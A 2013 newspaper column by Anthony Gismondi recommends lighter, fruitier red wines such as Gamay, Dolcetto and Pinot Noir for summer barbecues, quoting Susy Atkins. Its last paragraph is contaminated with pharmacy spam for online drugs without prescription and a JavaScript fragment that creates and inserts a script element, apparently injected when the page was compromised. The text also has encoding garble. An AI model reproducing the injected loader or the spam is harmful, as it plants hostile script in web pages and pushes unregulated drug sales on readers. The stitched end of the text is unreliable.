Summer reds can be light – Jul 6, 2013

By Anthony Gismondi

Thanks to Susy Atkins at The Telegraph in London for reminding us that if we are going to be moving off those massive rich red wines for summer we can’t haul them out as soon as we fire up the backyard barbecue. Just because you like to char your beef doesn’t mean the accompanying red wine need be a powerhouse red, full of tannin and 15 or 16 per cent alcohol.

Last month, one of the most anticipated flights of wine at the WineAlign National Wine Awards of Canada was the Gamay flight. No one could ever accuse Gamay of being rich and overbearing in the glass, although I remember a time when Beaujolais (the prime purveyor of Gamay back in the day) was so skinny and acidic it was seldom seen outside of Paris Bistros. The point is less is more sometimes, and in the summer, a little less tannin and a lot more fruit can be a welcome addition at the table.

Given the unusually early heat wave that just blanketed British Columbia, it is time we investigated the lighter side of red at least until the rain and damp returns. But before we do, heed this warning: in this warm weather we are all guilty of serving our reds too warm and our whites too cold; so be sure to chill those reds in an ice bucket for 10 minutes and take those whites out of the ice bucket for 10 minutes before serving. Restaurant servers please reread the previous sentence daily.

Back to Atkins, one of the best at matching food and wine, who says “slightly smoky, chargrilled beefA�actually finds a better partner in medium, fresh-tasting Italian reds such as cherryish Dolcetto from Piedmont or young Sangiovese from Tuscany, or in a raspberryish, juicy red from the Loire. A marinade complicates matters, but the same lightish Italians work, or you might try a good-quality Beaujolais.”

Indeed the even better news is that this style of red wine is better balanced, has more acidity and actually makes the food taste better. Thus in a strange reversal of what you may hold to be true, the wine tastes even better. It’s a very empowering concept when you allow yourself to embrace the level where wine makes food better and food makes wine better. OK I know it’s just a barbecue, but there is no harm in enjoying everything just a little bit more even before you throw in the soul-boosting al fresco element that often makes everything taste better.

Atkins goes on to deal with more richly flavoured and fatty lamb; think, “young Rioja (joven) or juicy Italian Valpolicella. A sweetly ripe, soft and succulent Pinot Noir from New Zealand or Chile works nicely with plain chargrilled pork chops and even stands up well to the classic, sweetand-sour barbecue sauce on some ribs.” Susy I like your style.

Wineries seldom characterize their wines as barbecue-friendly lest we think of them as not serious. Well, I’ve got news for them. Everyone is looking for something they can take to a barbecue. Translation: an inexpensive, fun-drinking versatile wine that not only tastes good but makes you look good too.

As suggested, the style of wine required is not as clear-cut, but there are some caveats. Red wines should be fruity enough to break down the spice and heat from sauces and seasonings, yet on the other hand they should be full-bodied enough and flavourful to withstand the multitude of flavours and strong smoky tastes associated with most barbecue. I look at barbecues as the big wine experiment. People who never drink rosA� or Gamay will try it at a barbecue. That goes ditto for Muscat, Riesling and Sauvignon Blanc. In essence you can dictate the wine choices with very little fear of reprisal. Just don’t burn the meat. pills online metformin pharmacy europe var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript); purchase skelaxin 800 buy erythromycin online no prescription

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